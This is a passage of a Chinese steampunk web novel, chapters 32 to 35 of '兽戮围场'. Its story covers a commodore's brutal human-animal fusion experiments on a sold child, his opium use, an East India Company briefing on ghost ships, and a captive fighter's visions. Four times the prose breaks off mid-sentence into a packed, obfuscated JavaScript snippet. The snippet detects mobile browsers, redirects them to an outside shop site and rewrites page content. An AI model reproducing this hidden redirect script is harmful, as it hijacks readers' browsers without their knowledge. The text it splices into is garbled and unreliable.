她没有看任何观众，只是转过身，背对着那片喧嚣与血腥，一瘸一拐，朝着那扇通往黑暗的铁闸门走去。 她步入通道，身后的光、声、气味，瞬间被厚重的铁门隔绝。 通道很长。她的脚步声在石壁间孤单地回响。 血，还在一点点往下滴。 --- 聚光灯追着林，照亮她血淋淋的背影 希尔达瘫坐在椅子上，浑身冰冷，止不住地颤抖。 她看着林消失在铁门后，看着工作人员进场拖走女孩的尸体，看着观众们兴奋地兑换赌金，谈论着下一轮会更精彩。 这个世界疯了。 不，不是世界疯了。是这个世界，原本就是这样。光鲜的学院，优雅的沙龙，宏伟的帝国大厦。所有这些漂亮的外壳底下，是腐臭的血肉和冰冷的铁。 希尔达跌跌撞撞地逃离了那里。她跑过昏暗的街道，跑过冰冷的石桥，跑回平民区那间狭小的公寓。丽塔已经睡了，煤油灯还亮着，桌上留着半块面包。 “以太本不该是人类研究方向，是科学之耻”学院里那些教授的话，此刻无比清晰地在她脑中回响。 以太的研究，最终导向的就是这种对生命的肆意扭曲和践踏？不，韩吉老师穷尽一生探索，不可能为这种地狱提供理论基础。 自由港联邦实验室导致的以太泄漏，学院教授们参与的实地考察，海军部批准的特殊任务……所有这些碎片，在希尔达脑子里拼凑成一个可怕而完整的图案。 现在她明白了。 不够，还不够，她要赶在用知识来制造地狱的人之前，先一步成为拿起天平的人。 房间角落的旧书桌上，那个一直被软布包裹着的水晶球，毫无征兆地，从内部泛起了一层极其微弱的蓝色微光。 32. 兽戮围场10 兽戮围场地下三层，带着一种刻意的洁净。消毒水、冷金属、还有一丝若有若无的臭氧，盖过了上面飘下来的血腥和汗臭。走廊墙壁刷着惨白的瓷漆，灯光均匀明亮，连影子都淡。 阿瑟·切斯特顿今天换了一身深灰色细呢常服，剪裁极为合体，领口系着素色领结。他走在前面，身边跟着个五十几岁的男人，手里紧紧攥着个皮质笔记本，边走边擦额头的汗。是哈里斯教授，皇家自然哲学学院的生物系教授，主攻鸟类迁徙与适应性进化。 “就是这里，准将。”哈里斯在一扇厚重的金属门前停下，助理上前掏出钥匙，门无声滑开，里面是间纯白的房间，中央固定着一把椅子。 椅子上瘦小的身影穿着宽大的灰白罩衫，头低垂着，浅金色的头发有些凌乱。 听见开门声，女孩动了动，慢慢抬起头。 切斯特顿目光在她脸上停留片刻，模糊的熟悉感掠过。浅金色的头发，在冷光下泛着近乎银白的色泽。灰蒙蒙的眼睛，缺乏孩童应有的神采，却奇异地让他想起家族肖像画廊里某幅不起眼画像上的少女。 他迈步就要进去。 “准将！”一直默默跟在哈里斯身后的年轻助理突然开口，声音有些紧张，“为了您的安全，最好不要靠得太近。虽然实验体XL-03目前处于镇静状态，但次级消化腔仍有条件反射活动的可能，它的咬合力……” 切斯特顿像是没听见，已经走进了房间，在离女孩两步远的地方停下。他个子高，女孩坐着，他需要微微俯身才能与她对视。他蹲了下来，视线与她齐平。 “你叫什么名字？”他问。 女孩眨了眨眼，灰色的瞳孔缓慢聚焦在他脸上：“伊莎贝拉。” 停顿了一下，她补充道：“伊莎贝拉·切斯特顿。” 房间里安静了一瞬。 切斯特顿脸上的肌肉纹丝未动，眼神却深了些。伊莎贝拉·切斯特顿。切斯特顿是父姓，伊莎贝拉是名。没有中间名。按照贵族传统，只有家族直系长子一脉的男性后代才能免去中间名，直接继承父姓。旁系和女性成员，名字里通常会加入母亲家族或领地的中间名，以示区别，也标明其并非主支。 她至少是切斯特顿家族的后代，可他没听说过这个名字，意味着她这一旁支早已没落，落魄到连维持体面中间名的资格都没有了。 贵族血脉，如果没有相应的头衔、土地或军功支撑，在伦敦这个巨大的机器里，并不比平民更值钱，甚至可能更为糟糕。 一个流着古老姓氏的血，却无依无靠的女孩，在某些人眼里，是一笔颇有收藏或利用价值的特殊货物。想必她的父母，用她换了一笔不错的价钱。 “伊莎贝拉。”切斯特顿重复，声音依旧平稳，“好名字。” 女孩看着他，没反应。她并不明白名字的意味，也不知道眼前这个高挑挺拔的男人和自己的姓氏有何关联。 切斯特顿指了指她罩衫下隐约凸起的腹部区域：“这里，感觉如何？” 伊莎贝拉低下头看了看自己的肚子：“不痛。就是有时候会响。饿的时候，响得更厉害，还会……动。” 她的描述直白得令人不适。哈里斯教授在门口擦汗的手顿住了。 “嗯。”切斯特顿点点头，对这个答案并不意外。他站起身，准备离开。 就在他转身的刹那，伊莎贝拉手臂努力向前挣了挣，身体前倾，细瘦的胳膊勉强环住了他的腿。她把脸贴在他冰冷笔挺的裤料上，很小声地，含糊了一句什么。 切斯特顿动作停住。 “她在说什么？”他没低头，目光直接投向门口脸色煞白的研究助理。 助理结结巴巴地回答：“报、报告准将……实验体……是刻板重复行为。在镇静剂减弱，或者受到刺激时……她会反复念叨一个词。” “什么词？” “是‘妈妈’。” 妈妈。 伊莎贝拉还抱着他的腿，脸贴着裤管，像一只寻找温暖的小动物。隔着布料传来细微的温热呼吸。 切斯特顿转身，再次蹲下。这次，他伸出手，轻轻放在了伊莎贝拉浅金色的头发上，掌心几乎完全覆盖住她小小的脑袋。 “好孩子。”他说 伊莎贝拉感受到了这罕见的触碰，她试探性地环住了切斯特顿的脖子，把脸靠在他肩颈处。 嘶啦。 伊莎贝拉前襟毫无征兆地裂开一道口子。裂缝之下，布满细密螺旋牙齿的肉质腔口，正对着切斯特顿的胸口。腔口猛地张开，带着腥甜的气息，疾速咬合！ 几乎在同时， 切斯特顿右手已抽出马甲内袋的手枪，枪口甚至没有完全抬起，就抵在了那张咬来的巨口边缘。 砰！ 枪声在密闭空间内震耳欲聋。子弹近距离射入肉质腔口，血肉爆开。巨大的冲击力让伊莎贝拉整个身体向后猛撞在金属椅背上，她连闷哼都没发出，便瘫软下去。 新开的破口鲜血汩汩涌出，染红了罩衫和金属椅架。那张巨口无力地开合了两下，边缘的牙齿沾着血，慢慢停止了蠕动。 切斯特顿已稳稳站起，后退半步。他左手掸了掸右肩并不存在的灰尘，右手依然握着枪，枪口斜指地面，一缕青烟从枪口袅袅飘散。血滴很快消失在昂贵的深色面料上。 他看着瘫在椅子上昏迷的伊莎贝拉，嘴角极其轻微地向上勾起一个弧度，发出两声短促的低笑。 “准将！”哈里斯教授这才反应过来，惊呼一声，下意识就想冲进房间，“伤口需要立刻处理！实验体很珍贵……” “站住。”切斯特顿的声音不高，却瞬间冻住了哈里斯的脚步。 哈里斯僵在门口，心里却停不下思考，这可是成功融合了翠羽雀稳定组织的稀有母体啊，母体，可以繁育后代的可能性。 伊莎贝拉伤口血流得很快，但有减缓的趋势。切斯特顿开口：“它的修复能力如何？恢复到具有基础行动能力，需要多久？” 哈里斯强迫自己冷静下来，快速翻动手里的笔记本：“根据我们对鸟类变异体的解剖和观察报告，类似程度的组织损伤，自愈周期大约四周。” “但这个样本的融合度更高，人类基底和翠羽雀组织的融合相当稳定，可能缩短到三周左右，但需要观察。” “三周。”切斯特顿收枪出门，“痊愈后安排给实验体L-01，作为第四轮对手。” 哈里斯教授急了，追上前：“准将！XL-03是珍贵的成功样本！是验证鸟类变异组织与高等生物稳定共生可能性的关键突破！它应该留在实验室继续研究，怎么能送去角斗场？那太危险了，学院和海军部联合项目投入巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081280|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是为了……” 切斯特顿侧过脸，走廊的光线在他轮廓分明的侧脸上投下清晰的阴影。 “哈里斯教授，你研究的是兵器，不是宠物。” “翠羽雀的融合报告我看了，所有数据，写在纸上只是数字，既然实验体具备了基础的攻击器官和一定的再生能力。” 他目光转向房间里昏迷的女孩。 “那么，验证其攻击力最直接的方式，就是投入实战，没有价值的样本，没有存活的意义。” 哈里斯张着嘴，哑口无言。助理在后面死死拉住了他的衣角。 “自由港的工程师从不会对着图纸争论枪械的威力，请你清楚，留给我们追赶自由港科技的时间不多了。战争一旦爆发，拿什么应战？难道是士兵的□□吗？” “是，准将。” 切斯特顿不再停留，迈步离开。 哈里斯颓然站在原地，看着房间里血迹斑斑的女孩，又看看手中记录着无数实验参数和翠羽雀组织培养数据的笔记本，脸色灰败。 再突破性的学术进展，也驱散不了帝国追赶自由港联邦的阴影。 最终，他叹了口气，对助理挥挥手：“记录伤口情况，注射镇静和营养维持剂。痊愈后通知围场，安排XL-03和L-01的对决。” --- 观测室位于围场穹顶最高处的阴影里。房间不大，三面墙是实心的黑橡木，第四面墙是一整块单向玻璃，俯瞰下方已经清理干净的沙地，现在沙地只剩几道拖拽的血痕。 阿瑟·切斯特顿站在玻璃前。 他已经换回海军准将的深蓝常服，肩章在昏暗的室内闪着冷硬的金属光泽。手里拿着一份刚送来的报告。 《兽戮围场实验体观测日志（编号：XL-03，首轮，已死亡）》 -关键数据： 1.初始伪装成功，目标L-01出现明显迟疑，战斗延迟启动约4.7秒 2.首次接触攻击成功，腹部次级消化腔成功嵌入目标腹腔，深度约8cm。 3.防御性能在实战环境下衰减：持续失血、剧烈疼痛及肾上腺素激增导致再生效率下降约35% 4.颈部骨骼结构仍保留人类基底脆弱性。一次精准打击即可导致系统崩溃。 关键结论：情感模块与战斗本能存在严重冲突。在高压实战中，情感模块成为致命延迟因素。 切斯特顿合上报告。 他转过身，走到观测室另一侧的长桌前。桌上除了几份卷宗，还摆着一个钢制托盘。托盘里放着两件东西： 左边，是一枚已经碎裂的玉簪残片，断裂面粗糙，那是他从雷霆号的垃圾堆里让人一寸寸翻找出来的。 右边，是一份薄薄的人事档案。封面姓名栏写着: 伊莎贝拉·切斯特顿 年龄：9岁 来源：私人渠道（母系亲属主动出售） 收购费用：15英镑 备注：售方为生母玛格丽特·切斯特顿（婚前姓布朗），交易时明确知晓用途为“实验项目”，签署了永久放弃监护权及保密协议。 情感模块成为致命延迟因素。 他把档案放回托盘，和玉簪碎片并排。 “把林的报告拿过来。” 他按压太阳穴，深吸一口气。 33. 兽戮围场11 切斯特顿家族的庄园坐落在伦敦西郊，远离东区的煤烟与嘈杂。马车驶过修剪整齐的榆树林荫道，停在一栋乔治亚风格的灰白色建筑前。房子不算特别宏伟，但线条简洁庄重，透着老派贵族的刻意低调。 阿瑟·切斯特顿下了马车，将佩剑和军帽交给迎上来的老管家，径直走向书房。 门厅角落的边几敞着一份《泰晤士报》，标题刺眼：东区儿童普遍使用镇静糖浆，廉价鸦片成为贫困家庭的抚慰剂。 没这东西，一天劳作十六小时的女工，根本顾不上家里哭闹的孩子，只需一勺，就能把吵闹压下去，让孩子看起来像进入了恬静的睡眠。 书房里燃着壁炉，弥漫着混合着旧书的松木香气。埃德蒙子爵裹着羊毛毯，坐在惯常的高背椅里，比两个月前阿瑟离家时更显消瘦。他手里没拿报纸，只是望着炉火出神。 听到开门声，埃德蒙缓缓转过头。他的面容依稀能看出年轻时的英俊，但如今被久病的疲惫和皱纹覆盖。 “父亲。”阿瑟在父亲对面的扶手椅坐下，背脊挺直。肋骨处的旧伤在马车颠簸后开始泛起熟悉的钝痛，他需要一剂，但不是现在。贵族不该有这种工人的病。 “回来了。”埃德蒙的声音有些沙哑，“这次在城里待多久？” “处理完东印度公司航线评估和学院那边的几个技术审议，就要回朴茨茅斯。舰队夏季演习的预案需要最终敲定。”阿瑟回答得简要。 炉火的木头燃烧得噼啪响 “北海那边，”埃德蒙终于又开口，“后续的抚恤和舰船修复报告，我看了。海鸥号和信风号损伤不轻，阵亡名单也比最初战报流出的要长。” 阿瑟神色不变：“实战难免损耗。海狼号是维京人中的精锐，困兽之斗，自然激烈。若我方毫无损失，反而招惹不必要的怀疑。” “经历艰难，勉强取胜才符合逻辑，也堵得住那些盯着军费拨款的审计官的嘴。阵亡抚恤和舰船维修，已按规定程序申请，议会那边不会卡。” 埃德蒙深深看了儿子一眼。他当然明白这逻辑背后的冰冷计算。故意让两艘次等战舰承受主要攻击，故意让一部分水兵成为必要的牺牲品，以此渲染战斗的惨烈与价值。 将一场精心策划的围剿，包装成一场值得大书特书的硬仗。军功、晋升、随之而来的政治资本和贸易利益，才能最大化。 “你做事，总有你的道理。”埃德蒙最终叹了口气，不知是赞许还是无奈，“只是手段愈发凌厉了。” “非常之局，不循常法。”阿瑟的语气平静无波，“帝国需要的不是循规蹈矩的绅士，而是能扫清障碍、开拓疆土的利刃。” 埃德蒙没有反驳。 “弗雷德里克前几日又咳血了。新找来的那位瑞士医生，也说只是拖日子罢了。”他脊背塌着，像被抽走了所有骨头。 “他那边依旧没有好消息。娶进来的几个，肚子都没动静。再这样下去，直系血脉……” 他未尽之言悬在空气里。 弗雷德里克是阿瑟的长兄，切斯特顿家族名义上的继承人。他从小体弱多病，成年后更是一副羸弱模样，不仅无法承担家族责任，连生育健康后代都成了奢望。 然而，为了那渺茫的延续直系血脉的希望，家族仍在不断地为他物色新娘，每一次失败，都在埃德蒙心头又压上一块石头，也让他看向次子阿瑟的目光更加复杂。 依赖，又混杂着难以言说的怨怼——为何健康强悍、能力出众的不是长子？ 阿瑟就读军校时，就已免去了中间名，直接冠以切斯特顿之姓。在重视血统和谱系细节的贵族圈，这是种无声的屈辱。暗示家族对长子一脉的健康与能力缺乏信心。带着难言的议论和压力。 “家族给了我机会，”阿瑟接话，声音依旧平稳，“我自会承担相应的责任。” 但他的子爵头衔，并非继承。 埃德蒙确实是子爵，但按照长子继承制，这个头衔只能传给弗雷德里克，哪怕他是个躺在床上的废人。阿瑟的头衔，是靠自己用军功实打实换来的。 他从小在军事上展现出的天赋，对战略战术的敏锐，以及在战场上高效到令人胆寒的执行力，让他年纪轻轻就积累了令人侧目的军功。镇压殖民地反抗、清剿海盗、在北海与波罗的海维护帝国航线的特殊任务……从少尉到中校，他晋升的速度快得惊人。 直到去年的北海行动。那不仅仅是一场军事胜利，更是一场精妙的政治表演。他不仅清除了令议会头疼的维京海盗问题，更以一场代价可控的惩戒性胜利，安抚了国内因殖民扩张不顺而焦虑的资本势力，展示了海军维护帝国利益的能力与决心。 报告递上去不久，女王陛下的册封令就到了。阿瑟·切斯特顿中校，越级直接晋升为海军准将。这是一个明确的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081281|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信号：帝国需要他这样锋利且听话的刀，也愿意用爵位和权力来换取他的忠诚与效力。 他的子爵头衔，与准将身份，不仅是他个人的荣耀，更是将摇摇欲坠的切斯特顿家族，重新拉回帝国权力与财富牌桌的入场券。 此前，家族在东印度公司的股份因为经营不善和竞争挤压，已濒临被清退的边缘。是阿瑟的北海战功，以及随之而来的政治资本，让家族重新在殖民贸易的谈判中获得了喘息之机，甚至看到了拓展新航线的可能。 另一方面，身为女王藏于阴影的手，他暗中处理那些备受争议的以太研究和异常生物调查，也有了权力参与海军部的远期战略，甚至可以争取到宝贵的资金和隐秘的行动权限。 “东印度公司那边，似乎有些麻烦？”埃德蒙将思绪拉回现实，“我听到些风声，航线不太平？” “一些管理上的问题，和异常损耗。”阿瑟简略带过，“我会处理。确保我们的份额和航线安全。” 埃德蒙看着他，这个儿子越来越像一座无懈可击的冰山，沉稳、强大、深不可测。他感到些许安慰，更多的却是难以言说的疏离与一丝隐忧。 “你自己小心。”埃德蒙最终只是说道，“权力场步步惊心。你现在的位置，无数人觊觎。” “我明白，父亲。”阿瑟站起身，“您好好休息。” 他走出书房，带上门。脸上那层面对父亲时礼节性的温和彻底褪去。 回到卧室，确认无人后，他反锁了门。从书架隐秘的夹层里取出一只小巧的银质扁瓶，拧开，将里面琥珀色的液体一饮而尽。味道甜得发苦，带着鸦片酊特有的、令人安心的腐殖质气息。 几乎在液体滑入喉咙的瞬间，肋下的钝痛开始退潮，像被温暖的丝绸包裹、抚平。过度清晰的感官和思维的锐角逐渐变得柔和可控。世界重新回到精确的轨道上。 软弱是疾病，同情是毒药。无论是病榻上的兄长，围场里挣扎求生的野兽，还是实验室里喊着“妈妈”的融合体女孩，本质并无不同。他们都被自身的软弱所困，需要被更强力、更理性的秩序所规范，或者清除。 而建立和维护这种秩序，需要绝对的权力。这才是唯一真实的语言。 他不需要被理解，也不渴望救赎。他是阿瑟·切斯特顿，帝国的准将，切斯特顿家的剑与盾，是必要之恶的执行者。 仅此而已。 34. 兽戮围场12 东印度公司伦敦总部的大楼气派非凡，巨大的花岗岩立柱，精美的浮雕，彰显着这个商业帝国无与伦比的财富与影响力。 此时总部大楼的一间战略会议室里，气氛凝重。 切斯特顿坐在长桌一端，手指间把玩着一枚精致的黄铜测距仪，神情专注地听着对面几位公司高管和航运主管的汇报。 “好望角至孟加拉湾航线，这段时间鬼船的消息已经传开了，出事的船直接消失，能回来的没几个人，全都疯了。好歹信天翁号找到了，虽然船空了。”说话的是航运安全主管，老海员出身，一脸严峻。 “一些海盗弄虚作假。”有人不屑。 “你根本不明白！信天翁号这件事根本不是海盗或者偏航，船上连打斗的痕迹都没有！” 眼看就要吵起来。 “直接说情况，威廉姆斯先生。”切斯特顿打断众人对话，带着无形的压力，在场的人不得不噤声。 威廉姆斯赶紧从抽屉里拿出一份厚厚的文件。“是，阁下。主要是关于孟加拉-好望角-伦敦这条主干航线的异常报告。从去年第四季度开始，损失率出现了异常上升。” 他翻开文件，指着上面的图表和数据：“起初是货物损耗。主要是纺织品和香料，运抵后发现有部分霉变、褪色或失去香气，程度超出正常海运损耗范围。我们检查了货舱，排除了漏水虫害等常规原因。” “然后是人手。” 威廉姆斯几十年来也是头次见。 “有三艘船在航行途中报告船员情况，有几个一夜之间就变了性格，见人就打，只能捆绑在船舱，还有一些人蜷缩在角落的，抱着头尖叫。” “这些人出现失常后，三天内全部跳海，自残。船医也说不明白，推测是当地传染热病或精神失调。但发生得过于集中，而且多艘船的症状描述，惊人的一致。” 切斯特顿静静地听着，收起了把玩的测距仪。 “最严重的是上个月，信天翁号。”威廉姆斯翻到文件后面，抽出一份单独的调查报告。” “它运载着一批特别采购的锡兰蓝宝石原矿和自由港联邦研究的新种子返航。在绕过好望角后第七天，与公司失去了定期联络。三周后，一艘葡萄牙商船在偏航的航线上发现了它。” “船体基本完好，帆缆整齐，甚至船帆都还半挂着。但是。” 威廉姆斯每当看到这里，都脊背发凉“船上没有活人。一个都没有。货物还在，但部分宝石原矿失去了光泽，变得浑浊。那些种子，检验人员说，它们看起来还活着，但在培养皿里长出来的东西不太对劲，会动。” 办公室里安静下来。 “调查结论？”切斯特顿问。 “没有明确结论。”威廉姆斯苦笑，“葡萄牙人发现时天气恶劣，没有详细检查。等我们的救援船赶到，登上信天翁号的人，两人回来后病倒了，症状和之前那些行为异常的船员类似，只是更严重。” “有一个人发现时已死亡，双腿伤口深可见骨，现场没有他人痕迹也没有刀具，推测是自己噬咬，最后因失血死亡。” “现在那艘船还隔离在朴茨茅斯的废弃码头，没人敢再靠近。董事会的意思是暂时封存消息，避免引起恐慌和股价波动。” 他小心翼翼地看着切斯特顿：“但是，海狼号的恐怖传说又开始在水手之间流传。说是维京人所有嗜血战士都成了水鬼，把怒气和怨气发泄任何出海的货船上。” “现在很多货船都用羊血在船帆上画了狼图腾才敢出海，保险费用也在上涨。几个大股东对持续损失很不满，认为公司管理层应对不力，甚至质疑我们新获得的贸易配额是否带来了不祥。” 话里的指向已经很明显了。切斯特顿在北海的行动为家族争来了新的贸易利益，但也似乎和这条航线上接连发生的怪事扯上了某种晦暗的关联。至少，那些利益受损的人，很愿意做出这种联想。 切斯特顿似乎对这些怪力乱神的描述和隐晦的指责都不感兴趣。他思考了片刻，开口：“信天翁号最后一次发出常规报告的位置坐标，以及发现它时的坐标，给我。” 威廉姆斯愣了一下，赶紧从文件堆里找出相应的海图，标注好位置，推到切斯特顿面前。 切斯特顿看了一眼那两个坐标点，以及它们之间那片广袤的、标注着洋流和传统航线的海域。他的目光在那片区域停留了几秒，灰色的瞳孔深处似乎有极细微的波动，但很快恢复了平静。 “信天翁号货物样品与详细坐标送去皇家自然哲学学院检验，专员联系物理地理和化学顾问。调查干扰因素是否与磁场异常，未知海流，还是未发现的新暗礁有关。” “学院？”情报中校敏锐地抓住了这个词，目光转向切斯特顿，“准将阁下，我记得皇家自然哲学学院有几个项目，是海军部资助的？” “确实有一些合作项目。”他声音带着一种令人信服的权威感，“海军部始终关注可能影响帝国航行安全的一切因素，无论是已知的，还是未知的。学院的部分前沿研究，为我们理解某些非典型现象，提供了新的视角。” 在座的公司高管们神色各异，有的若有所思，有的依旧困惑，但没人再质疑学院的介入。 “那么，针对这种干扰因素，海军部和学院方面，是否有应对方案或建议？”东印度公司的一位董事代表问道，语气急切，“航线不能停，损失必须控制。” 切斯特顿身体微微前倾，双手交叠放在桌上。 “基于现有情报和初步分析，我建议采取以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081282|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下措施。”他清晰地说道，“第一，未来三个月，所有高价值货船，调整航线，避开目前已确认的问题高发区域。具体绕行方案，由海军水文署和公司航务部共同拟定，我会协调护航力量。” “第二，成立一个联合技术小组。成员包括公司的货物检验专家、海军情报官，以及皇家自然哲学学院相关项目的研究员。任务是调查异常原因，提供防护手段。” 他目光扫过在场众人。 “第三，也是最重要的一点。所有相关信息和数据，在未得出明确结论和应对方案前，任何消息不得外泄，以免引发不必要的市场恐慌。” 会议室里鸦雀无声。几位董事代表互相看了看，最终缓缓点头。 这不仅是一个技术方案，更是一个政治和商业上的捆绑。将学院和海军部为东印度公司背书，这位准将阁下提供了其背后的力量来解决问题。 “阁下考虑周全。”一位资深董事附和，“就按您的方案办。公司会全力配合。” 会议又进行了一些细节讨论，然后结束。众人起身离开时，切斯特顿叫住了那位海军情报中校。 “中校，关于信天翁号登船人员的病症描述，我需要一份更详细的评估报告，越细致越好。直接送交我的办公室。” “是，准将。” 切斯特顿微微颔首，最后一个离开会议室。 走廊里，他快速快速整合着刚才得到的信息：异常的货物损耗，船员精神错乱，整船人员神秘失踪……这些描述，和发生在自由港联邦附近海域的事故，以及皇家自然哲学学院里那些模糊不清的以太污染报告，隐约存在着重叠之处。 隐隐约约指向某种同源的不稳定因素。是以太吗？还是某种更广泛的异常？正在沿着帝国的贸易航线悄然扩散？ 这值得重视。但目前要紧的是控制影响，维持航线的运转，保障帝国的财富流和切斯特顿家族的利益。 而他更需要了解以太这种异常能量，自由港联邦不惜一切的研究，包括那次讳莫如深的事故，这必然是改变世界格局的关键。 他走到窗边，望向楼下伦敦繁忙的街道。马车、行人、蒸汽公交，构成帝国心脏每日不曾停歇的脉动。他的目光掠过那些芸芸众生，投向更远处朦胧的天际线。 谁能更快地理解、掌控，乃至利用这种力量。谁就能在这场赛跑中胜利，帝国不能落后，失败者会成为殖民地畜牲不如的奴隶，或者成为地下围场里那些变异生物。 走出东印度公司大楼，午后的阳光有些刺眼。他的马车已经等在门口。车夫为他拉开车门。 “回白厅街。”他吩咐道，声音里听不出丝毫疲惫。下午还有海军部的会议，晚上需要审阅围场新一周的节目安排和实验数据报告。 35. 兽戮围场13 血腥漆黑肮脏的牢房里，林靠着墙垂着头，隔壁笼子里的东西在撞铁栏，一下，两下，像头不知疲倦的牲口。更远些的地方，有人用头磕墙，咚，咚，咚。 真正吵的，是脑子里那些东西。 不是声音，是意识，愤怒的碎片，绝望的漩涡，烂泥一样的欲望。搅在一起，分不清谁是谁，也分不清是不是自己的。 有时候林会想，自己到底还算不算个人。 如果是人，该有清楚的记忆，知道昨天干了什么，前天遇见了谁。该知道自己是谁，从哪儿来，要干什么。 可她脑子里的东西是碎的。 一会是被蒸汽机器绞断手的撕裂苦楚，一会是捂着头受着锐刀一下一下扎入，一会冰冷的海水灌进肺里，一会变成了在火里惨叫的女人，一会又被人按在沙地上眼前一片血沫。 这些碎片没有顺序，没有因果，像被撕烂的书页，在风里胡乱翻飞。她只是这摊碎片的容器。 唯一清楚的，是恨。 那股恨意滚烫，成为熔化的铁水在血管里流动。它拉住了她，让她没有彻底沉进那片混沌的黑暗里。 还活着。还得活下去。 不过人，是什么含义？ 每次这个念头冒出来，脑子里的碎片就会突然安静。 然后，蓝色的光就会出现。 细细的、柔软的蓝光，像丝线，又像水流，从意识深处蔓延开来，把她包裹住。很温暖，像泡在温水里，所有的疼痛、混乱、疲惫都被冲淡了。 她可以睡了。 不用想，不用恨，不用挣扎。 在这个状态里，五感都模糊了，扩散了。她好像不再是一个单独的身体，而是成了周围黑暗的一部分。空气的流动，远处牢房的低吼，甚至墙壁本身的冰冷，都成了她感官延伸。 思考本身变得没有意义，因为一切都在发生，一切都在被感知。 存在本身，就是见证。 祂。林不知道该怎么称呼那个状态。是“它”？还是“某种东西”？她只知道，当蓝光包裹她的时候，她就成了祂的一部分。或者说，祂接管了她。 祂在见证，见证即是存在的意义。 可是，伊莎贝拉。 在最后一瞬，她看见了。一片纯粹的黑暗里，她看见了一小团蓝色的光，附着在心脏旁边，跳动，跳动。 在林捏碎颈骨时，她见证了伊莎贝拉。 很冷，怀里抱着个破枕头，枕头上有妈妈的味道，把脸埋进去，在熟悉的味道里深深沉睡。 很暖，一双粗糙但温暖的手，是妈妈的手掌，摸了摸头发，小小的影子融入大大的影子，很安全。 很疼，腿传来火辣辣的感觉，泪水涌出，顾不上擦，手指拼命向前伸，想要抓住那扇正在关上的门。门缝里透进来的光越来越窄，最后“咔哒”一声，彻底暗了。 想哭，害怕。 没有恨。 一点都没有。 林愣住了。 她身体里涌动的恨意，她成了仇恨本身，本能的寻找仇恨，找愤怒，找绝望，却无法在伊莎贝拉身上共鸣。 她生前，留下的全都是，暖暖的蓝光，将熄未熄。 和塞壬的不一样。塞壬死的时候，那团蓝光炸开，全是轰鸣和巨响，海啸一样直接撞进她的意识，也是塞壬，第一次把林带入了祂的世界。 林见证了塞壬。 我活不下去了，把我的痛苦和力量给你，你替我活下去复仇，把他们全部撕碎，这和牢房的所有低语毫无两样。 可伊莎贝拉，为什么。 林第一次，在祂的见证下，在那种被蓝光包裹，与一切融为一体的状态里，感受到了困惑。 --- 铁门被拉开的声音很刺耳，金属铰链生锈的摩擦声把林从那种半睡半醒的状态里拽了出来。白大褂走进来，后面跟着狱卒。 她任由狱卒粗暴的翻动着她的身体，两个医生小心触碰着她，掰开嘴看牙齿，翻她的眼皮，听诊器温度计一一检查，一个铜圈紧箍着石英晶体的仪器扫过，指针在不断跳动。 她听不见医生的低语，或者说，见证不了医生的意识。可她突然能听懂医生的声音，“体温还是太高”，“以太浓度波变”，“伤口痊愈能力惊人”。 林含着体温计，目光移向其中一人，棕色高束马尾，她注意到林的目光，眼神闪烁了一下，对其他人嘱咐了什么。狱卒和另一个医生踌躇，但她急着说“再不处理就出事了，她有锁链拴着的，你们赶紧啊，我一会来。” 牢房里只剩下林和女医生。她蹲下，说。 “你有了意识，和之前不一样。” “我叫佐伊，认识一下？” “林。” “你竟然听得懂？” “…” “哦，别怪我远远的，我还是很想和你沟通的，但是之前你很吓人，人只要在你能接触到的范围，都会被咬伤，哇塞，直接一块肉咬下来，不过，化验你的血液，你有点缺钙，为什么牙口还是这么好？” “…” “我没什么意见，但事实摆在这，确实你挺吓人的。之前你只有兽性反应，没有语言能力。” “不过现在你的安静表现很异常，刚刚另一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081283|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，呃，医生，也很惊讶，已经把你的状况记录下来了。” “…” “你不如好好和我聊聊，什么东西都可以，我们可以商量商量，对吧，毕竟你突然有了意识，肯定是受到什么影响，但在这里，异常可不是什么好事。” 佐伊指了指周围。 “你别看这里很脏，吵也是吵了点，但其实这里是最舒服的地方，白大褂，比如我，过来是给你检查疗伤的，也怕你死了。你可是不一样的哦。又是东方人，是女性，还有以太亲和性。本身有人特别关照你呢。” 